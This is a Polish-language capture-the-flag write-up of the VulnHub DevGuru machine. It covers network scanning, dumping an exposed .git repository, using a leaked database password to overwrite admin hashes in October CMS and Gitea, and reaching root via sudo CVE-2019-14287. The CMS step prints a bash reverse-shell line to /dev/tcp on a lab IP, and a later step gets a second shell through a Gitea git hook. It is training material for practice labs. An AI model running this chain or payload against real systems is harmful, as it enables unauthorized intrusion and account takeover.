Zaczynam od skanu sieci, aby odnaleźć naszą maszynę.
netdiscover
┌[parrot@parrot]─[~/vulnhub/devguru]
└╼[★ ]$sudo netdiscover -r 192.168.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.2.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.2.2 00:50:56:f0:ed:fa 1 60 VMware, Inc.
192.168.2.145 00:0c:29:ee:30:67 1 60 VMware, Inc.
192.168.2.254 00:50:56:e2:f7:dc 1 60 VMware, Inc.
IP maszyny: 192.168.2.145
.
NMap
┌[parrot@parrot]─[~/vulnhub/devguru]
└╼[★ ]$nmap -sC -sV 192.168.2.145 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-06 23:04 CEST
Nmap scan report for 192.168.2.145
Host is up (0.00073s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
|_http-title: Corp - DevGuru
| http-git:
| 192.168.2.145:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=32f5ac169d8deb82; Path=/; HttpOnly
| Set-Cookie: _csrf=wBgH_u02QnP4yJ8KIFYSVFpFKnE6MTY1OTgyMDA0MTQ4OTkxMzkwMw; Path=/; Expires=Sun, 07 Aug 2022 21:07:21 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 06 Aug 2022 21:07:21 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=16044c52ab089b30; Path=/; HttpOnly
| Set-Cookie: _csrf=yMdfk0ejwyAi7ZAapQa4bI5m9tw6MTY1OTgyMDA0MTUwNjQ1Nzk1OA; Path=/; Expires=Sun, 07 Aug 2022 21:07:21 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 06 Aug 2022 21:07:21 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi
?new-service :
SF-Port8585-TCP:V=7.92%I=7%D=8/6%Time=62EED80A%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/;\
SF:x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=32f5ac169d8deb82;\
SF:x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=wBgH_u02QnP4yJ8KIFYSVFpF
SF:KnE6MTY1OTgyMDA0MTQ4OTkxMzkwMw;\x20Path=/;\x20Expires=Sun,\x2007\x20Aug
SF:\x202022\x2021:07:21\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEORI
SF:GIN\r\nDate:\x20Sat,\x2006\x20Aug\x202022\x2021:07:21\x20GMT\r\n\r\n<!D
SF:OCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\x2
SF:0data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"vi
SF:ewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<met
SF:a\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title>\
SF:x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<link\
SF:x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-cr
SF:edentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">\n
SF:\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20a\
SF:x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20content
SF:=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pain
SF:less")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-
SF:Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20P
SF:ath=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=16044c52ab0
SF:89b30;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=yMdfk0ejwyAi7ZAap
SF:Qa4bI5m9tw6MTY1OTgyMDA0MTUwNjQ1Nzk1OA;\x20Path=/;\x20Expires=Sun,\x2007
SF:\x20Aug\x202022\x2021:07:21\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20
SF:SAMEORIGIN\r\nDate:\x20Sat,\x2006\x20Aug\x202022\x2021:07:21\x20GMT\r\n
SF:\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<
SF:head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20na
SF:me=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\
SF:n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<
SF:title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20cu
SF:p\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/mani
SF:fest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"the
SF:me-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20conte
SF:nt=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<met
SF:a\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x20c
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Strona główna
Pierwsze co widać to domena devguru.local
, zatem dodaję ją do /etc/hosts
.
Z Wappalyzera widzimy, że jest tutaj October CMS
, Lavarel
oraz PHP
.
FeroxBuster
┌[parrot@parrot]─[~/vulnhub/devguru]
└╼[★ ]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/quickhits.txt -u http://192.168.2.145 -d 1 -r
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.145
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/quickhits.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
📍 Follow Redirects │ true
🔃 Recursion Depth │ 1
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 1l 2w 23c http://192.168.2.145/.git/HEAD
200 11l 29w 276c http://192.168.2.145/.git/config
200 977l 3275w 315757c http://192.168.2.145/.git/index
200 1l 10w 158c http://192.168.2.145/.git/logs/HEAD
200 32l 38w 413c http://192.168.2.145/.gitignore
200 52l 146w 1678c http://192.168.2.145/.htaccess
200 50l 231w 4296c http://192.168.2.145/adminer.php
200 34l 216w 1518c http://192.168.2.145/README.md
200 267l 788w 0c http://192.168.2.145/services
[####################] - 15s 2482/2482 0s found:9 errors:0
[####################] - 14s 2482/2482 170/s http://192.168.2.145
Mamy kilka trafów. Czyli .git
, adminer.php
, ale sprawdzę całość większym słownikiem.
/adminer.php
Jest Adminer 4.7.7
, na którego nie ma exploitów na searchsploit.
Pod /backend/backend/auth/signin/
mamy panel logowania.
FeroxBuster złapał folder .git
a w nim plik config
. Mamy potencjalnego usera frank
oraz link do repo http://devguru.local:8585/frank/devguru-website.git
.
Port 8585
Mamy tutaj Gitea
.
Jest exploit, ale potrzebujemy danych do logowania. Jest szansa, że przyda nam się to później.
Enumeracja .git
Sprawdzenie folderu .git zawsze warto przeprowadzić GitTools
. Mamy tu gitdumper
oraz extractor
. Na początku użyłem dumpera, którym pobrałem folder .git
znaleziony przez FeroxBustera
.
sudo /opt/GitTools/Dumper/gitdumper.sh http://192.168.2.145/.git/ .
sudo /opt/GitTools/Extractor/extractor.sh . /.git_extracted
Mamy między innymi adminer.php
wykryty przez FeroxBustera
.
Wyszukanie po frazy frank
nic ciekawego nie znalazło.
Inaczej w przypadku frazy password
😁
Plik database.php
zawiera to hasło, dlatego przejrzałem całość.
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
'pgsql' => [
'driver' => 'pgsql',
'host' => 'localhost',
'port' => 5432,
'database' => 'database',
'username' => 'root',
'password' => '',
'charset' => 'utf8',
'prefix' => '',
'schema' => 'public',
],
'sqlsrv' => [
'driver' => 'sqlsrv',
'host' => 'localhost',
'port' => 1433,
'database' => 'database',
'username' => 'root',
'password' => '',
'prefix' => '',
],
Mamy usera i hasło -> october:SQ66EBYx4GT3byXH
. Najpierw sprawdziłem do panelu October CMS
, ale nie działało, zadziałało na panel Adminera
. W końcu config jest właśnie od Adminera.
Udało się wejść na panel. Szybko zlokalizowałem tabelę backend_users
. Mamy tam informacje o userze frank
wraz z hashem. Podjąłem nieskuteczne próby łamania.
Po długim googlowaniu, sprawdziłem ten hash na stronie poniżej.
https://www.tunnelsup.com/hash-analyzer/
Okazało się, że jest to bcrypt
. Mając tę wiedzę, możemy spreparować hash i podmienić go na inny, ten przez nas znany. Ja podmieniłem hasło na password
, a wygenerowałem je na stronie https://bcrypt.online/.
October CMS Dashboard
Udało się zalogować, jesteśmy w dashboardzie.
W tym momencie możemy w prosty sposób dostać się na maszynę. Należało wejść w CMS => Pages => Add
. Teraz należy stworzyć nową stronę a w kodzie umieścić mały fragment. Który po wejściu automatycznie połączy się z naszym listenerem.
function onstart(){
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.2.128/9001 0>&1'");
}
Zapisałem stronę, a po wejściu na poniższy url, otrzymałem shella 😀
shell jako www-data
Kolejny krok był już trudniejszy. Użyłem LinPEAS
, aby złapać potencjalne wektory ataku. Znalazłem interesujące informacje. W folderze /var/backups
mamy backup aplikacji. Pliczek nie jest duży. Ma nieco ponad pół MB, ale po szybkim przejrzeniu to może być dobry trop.
Szukałem frazy frank
w pliku i odkryłem, że ten plik to prawdopodobnie plik konfiguracyjny Gitea
.
cat /var/backups/app.ini.bak | grep frank -A10 -B10
Mamy nawet tzw. secret_tokeny, ale po chwili scrollowania znalazłem hasło i usera. Jak widać na screenie jest to username i hasło do mysql
, ja rozumiałem to dopiero po dłuższej chwili próbując wejść od razu na Gitea
.
A tutaj kluczem jest dostanie się ponownie na Adminera
, tym razem na bazę danych gitea
.
Ponownie szybko znalazłem tabelę user
, w której mamy ponownie franka
, ale teraz mamy całkowicie inny hash. Jest to pbkdf2
.
Podjąłem próby łamania hasha, oczywiście bezskuteczne. Znalazłem stronę, która generuje takie hashe -> https://neurotechnics.com/tools/pbkdf2-test
Dodatkową trudnością było ustawienie ilości bajtów tego hasha. Gdy dopasowałem oryginalny hash do tego tworzonego, ustaliłem, że liczba bajtów to 50
, salt mamy podaną powyżej. Została umieszczona w generatorze. No i wygenerowałem proste hasło password
.
xxxxxxxx
= c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900
Dodatkowo sporo googlowałem ile powinno być Iterations
. W końcu znalazłem w kodzie źródłowym Gitea
, że dla pbkdf2
jest to 10000
.
password
= 8c1081ea93e4803d6aa627fca52970b8bb06c35e7fa2c47e1eae3e4f5e6c9515dfaf13d62292547583aef0ee683f92e71c40
gitea
Udało się zalogować na Gitea
na poniższe dane frank:password
. Teraz kolejny krok, czyli dostanie się na maszynę, tym razem już jako frank
. Doczytałem, że jeżeli nasz user ma uprawnienia admina, możemy dodać w ustawieniach danego repo kod, który wykona się przy jakiejkolwiek modyfikacji repo. Wchodzimy w repo -> Settings -> Git Hooks. Tutaj na dole wrzuciłem prosty skrypt bashowy.
Teraz wystarczyło, że zmodyfikowałem lub dodałem jakikolwiek plik w repo. Kod wykonał się, a ja otrzymałem odpowiedź na listenerze.
shell jako frank
Odpaliłem ponownie LinPEAS
. Nasz user może wykonywać program sqlite3
z uprawnieniami roota. Jedyny szczegół jest taki, że potrzeba do tego hasła usera frank
. Nie wiedziałem jak to przeskoczyć. Po długim googlowaniu podejrzałem wskazówkę, że należy zainteresować się wersją sudo.
Ta wersja sudo ma bardzo poważną podatność CVE-2019-14287
, która pozwala na obejście zapytania o hasło. Szerzej opisane jest to tutaj https://www.exploit-db.com/exploits/47502
Mamy roota.
Root proof